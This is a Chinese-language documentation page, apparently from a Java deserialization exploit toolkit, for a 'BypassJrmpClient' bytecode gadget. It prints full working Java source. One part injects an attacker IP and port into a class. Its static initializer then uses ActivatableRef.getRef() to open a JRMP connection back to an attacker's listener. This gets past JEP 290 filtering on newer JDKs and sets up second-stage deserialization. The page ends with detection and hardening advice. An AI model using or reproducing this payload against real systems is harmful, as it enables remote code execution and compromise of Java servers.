Skip to content

Latest commit

 

History

History
117 lines (100 loc) · 10.4 KB

File metadata and controls

117 lines (100 loc) · 10.4 KB

进行JrmpClient(BypassJrmpClient)

  • 类别:bytecode 别名:— 优先级:—
  • 作者:N1ght
  • 依赖:无(仅用 JDK 内置的 sun.rmi.*java.rmi.*

作用

生成一段“字节码 sink”:当这段字节码被目标 JVM 加载并初始化(典型是经 BytecodeConvert 处理后由 TemplatesImpl 触发 defineClass/newInstance)时,其静态初始化块会主动向攻击者指定的 ip:port 发起一次 JRMP(RMI over JRMP)出站连接,从而把攻击面转成第二阶段反序列化——由攻击者的 JRMP 监听端(如 ysoserial JRMPListener)回传恶意序列化对象,在受害端被反序列化。它刻意走 ActivatableRef.getRef() 这条激活(Activation)路径,用以绕过高版本 JDK 对经典 JRMP/RMI 反序列化路径施加的过滤限制

链接标签

  • 入口 tagsBytecodeEND
    • Bytecode —— 本 gadget 产出的是原始字节码 byte[],需由一个消费 Bytecode 的上游装载/处理环承接。全库中以 nextTags 消费 Bytecode 的正是 BytecodeConverttags=[BytecodeConvertTag]nextTags=[Bytecode]),它再上接 TemplatesImpl 等字节码装载器。
    • END —— 标记本 gadget 为链尾 sink,其后不再衔接其它 gadget。
  • 衔接 nextTags:(空)—— 作为终点,不向下游暴露可续接的标签。
  • excludes:(空)—— 无互斥标记。

源码剖析

1. gadget 外壳:把模板类改写为携带 ip/port 的字节码

@GadgetTags(tags={"Bytecode", "END"})
@GadgetAnnotation(name="进行JrmpClient", description="Bypass高版本jdk进行JRMP反序列化", authors={"N1ght"})
public class BypassJrmpClient implements Gadget {
    @Param(name="ip", description="JRMP ip")
    public String ip = "127.0.0.1";
    @Param(name="port", description="JRMP port", type=ParamType.Integer)
    public String port = "9999";

    public byte[] getObject() throws Exception {
        JavassistHelper javassistHelper = new JavassistHelper(BypassJrmpClientBytecode.class);
        javassistHelper.modifyStringField("ip", this.ip);
        javassistHelper.modifyStringField("port", this.port);
        return javassistHelper.getBytecode();
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        chain.doCreate(context);      // 先驱动内层(本 gadget 处于链尾,通常内层为空 END)
        return this.getObject();      // 返回改写后的字节码
    }
}

逐段说明:

  • getObject() 取模板类 BypassJrmpClientBytecode 的 class 文件,用 JavassistHelper.modifyStringField 把模板里的两个静态 String 常量 ipport 替换为用户配置值,最后 getBytecode() 返回改写后的 byte[]没有任何运行时利用逻辑在生成阶段执行——恶意行为完全内嵌在字节码的静态块里,等待目标端加载时触发。
  • invoke() 遵循本库“由内向外”的构建约定:先 chain.doCreate(context) 驱动内层(此处为链尾,内层通常为空产物),再返回本环产出的字节码。返回类型是 byte[],正因如此它必须交给消费 Bytecode 标签的 BytecodeConvert → 字节码装载器(如 TemplatesImpl)才能落地执行。

2. 载荷模板:静态块中构造并触发 JRMP

public class BypassJrmpClientBytecode {
    public static String ip;    // 被 gadget 改写为攻击者 IP
    public static String port;  // 被 gadget 改写为攻击者端口

    public BypassJrmpClientBytecode() throws Exception {
        ObjID id2 = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(ip, Integer.parseInt(port));
        UnicastRef ref = new UnicastRef(new LiveRef(id2, te, false));
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{Remote.class, Activator.class}, handler);
        ActivationID activationID = new ActivationID((Activator)proxy);
        ActivatableRef activatableRef = new ActivatableRef();
        Field id = activatableRef.getClass().getDeclaredField("id");
        id.setAccessible(true);
        id.set(activatableRef, activationID);
        Method getRef2 = ActivatableRef.class.getDeclaredMethod("getRef", new Class[0]);
        getRef2.setAccessible(true);
        getRef2.invoke(activatableRef, new Object[0]);  // 触发点:走 Activation 路径发起 JRMP
    }

    static {
        try {
            new BypassJrmpClientBytecode();     // 类初始化即执行 → 无需实例化即可自触发
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

逐段说明:

  • 触发时机:恶意逻辑写在 static {} 静态初始化块中,只要该类被初始化(例如 TemplatesImpl 将字节码 defineClassnewInstance,或任意导致类初始化的路径)即自动运行 new BypassJrmpClientBytecode()。这与 TemplatesImpl 链“字节码即执行”的原理一致,因此本 gadget 天然与 TemplatesImpl 装载器配套。
  • 构造远程引用TCPEndpoint(ip, port) 指向攻击者监听端;LiveRef + UnicastRef 封装成一个 JRMP 远程引用;RemoteObjectInvocationHandler(ref) 是标准的 RMI 动态代理处理器——任何对该代理接口方法的调用都会转成一次到 ip:port 的 JRMP 远程调用。
  • 动态代理伪装成 ActivatorProxy.newProxyInstance(..., {Remote.class, Activator.class}, handler) 生成一个同时实现 Remotejava.rmi.activation.Activator 的代理对象。
  • 关键的绕过路径:将该代理包成 ActivationID(proxy),反射塞进 ActivatableRef 的私有字段 id,再反射调用 ActivatableRef.getRef()ActivatableRef.getRef() 会走 RMI 激活(Activation)机制去“激活”远程对象,内部对 Activator(即我们的代理)发起调用 → 命中 RemoteObjectInvocationHandler → 建立到 ip:port 的 JRMP 连接。攻击者的 JRMPListener 收到连接后回传恶意序列化数据,受害 JVM 对其反序列化,形成第二阶段反序列化
  • 为何能“Bypass 高版本 JDK”:经典 JRMP 客户端 gadget(如直接以 UnicastRef/RegistryImpl_Stub 触发的写法)在新版 JDK 上会被 RMI 注册表/DGC 的反序列化过滤(JEP 290 及 sun.rmi.* 相关过滤器)拦截或限制。此处不把 JRMP 触发逻辑放进反序列化对象图,而是放进已获得代码执行能力后运行的字节码静态块,用 ActivatableRef 的激活路径主动发起调用,绕开入口反序列化过滤器对 RMI 对象图的检查,因此可在高版本 JDK 下仍完成 JRMP 出站与二次反序列化。

注:反编译头部若出现 Could not load the following classes(缺失 sun.rmi.* 内部类)属正常现象,不影响上述逻辑判断。

参数(@Param)

字段 类型 名称 说明 默认值 可选值
ip String ip JRMP 服务端(攻击者 JRMPListener)IP 127.0.0.1
port String(ParamType.Integer port JRMP 服务端端口 9999

两个参数在生成阶段被写入模板类的静态常量,运行期由静态块读取用于建立 TCPEndpoint

适用版本与原理要点

  • 无第三方依赖:仅依赖 JDK 自带 java.rmi.activation.*sun.rmi.server.*sun.rmi.transport.*,任何目标环境(存在这些内部 API 的 JDK)皆可用。
  • 定位为字节码 sink,不是独立对象 gadget:它产出的是 byte[],必须经 BytecodeConvert 处理并由字节码装载器(TemplatesImpl 等)加载才会执行,无法单独作为反序列化对象图使用。
  • 核心价值是“二次反序列化 + 高版本绕过”:目标是让受害端主动连回攻击者 JRMP 端,把真正的利用载荷放到 JRMP 响应里执行,规避入口处的反序列化过滤/黑名单。
  • 前置条件:目标需允许出站到攻击者 ip:port(存在到攻击者 JRMP 端口的网络可达性);sun.rmi.server.ActivatableRef 及其 id 字段、getRef 方法在目标 JDK 中可反射访问(在启用强封装/--illegal-access=deny 的极高版本 JDK 上,setAccessible 可能受模块系统限制)。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。实际使用时按“字节码装载器 → BytecodeConvert → BypassJrmpClient”的方式手动组合,多与 TemplatesImpl 装载器(如 CB/CC 系列 nextTags=Getter 承接 TemplatesImpl)搭配。

关联

  • 上游承接(消费本 gadget 的 Bytecode 标签):BytecodeConvert
  • 同族字节码 sink(同为 tags=[Bytecode, END] 的执行/回连类载荷):ExecReverseShellDNSLog
  • 装载路径参考:TemplatesImpl 字节码链(见各 Getter 链条目)

防御与检测

  • 网络侧:监控 Java 服务进程发起的异常出站 TCP 连接,尤其是短时内到非常规主机/端口的 RMI/JRMP 握手流量(JRMP 报文头魔数 0x4a524d49 "JRMI")。JRMPListener 回连是强指标。
  • 运行时侧:告警 TemplatesImpl/defineClass 触发的可疑类初始化,以及静态块内构造 UnicastRef/LiveRef/ActivationID/ActivatableRef 并反射调用 ActivatableRef.getRef 的行为;对 sun.rmi.server.ActivatableRef#getRefjava.rmi.activation.ActivationID 的调用可做栈溯源检测。
  • 加固建议
    • 部署反序列化白名单/ObjectInputFilter(JEP 290),并对 RMI 相关类(sun.rmi.*java.rmi.server.RemoteObjectInvocationHandler)保持限制;注意本手法刻意绕开入口过滤,故不能仅依赖入口过滤器。
    • 出站网络最小化:对应用服务器实施出站白名单,阻断到未知主机的任意端口连接,直接切断 JRMP 回连。
    • 升级/收紧 JDK 模块封装(--illegal-access=deny、强封装),限制对 sun.rmi.* 内部类的反射访问,削弱本模板对 ActivatableRef 私有字段/方法的可达性。
    • 从源头封堵字节码 sink:隔离/禁用不受信的 TemplatesImpl 反序列化装载路径(如禁用不受信 XSLT/Translet 加载)。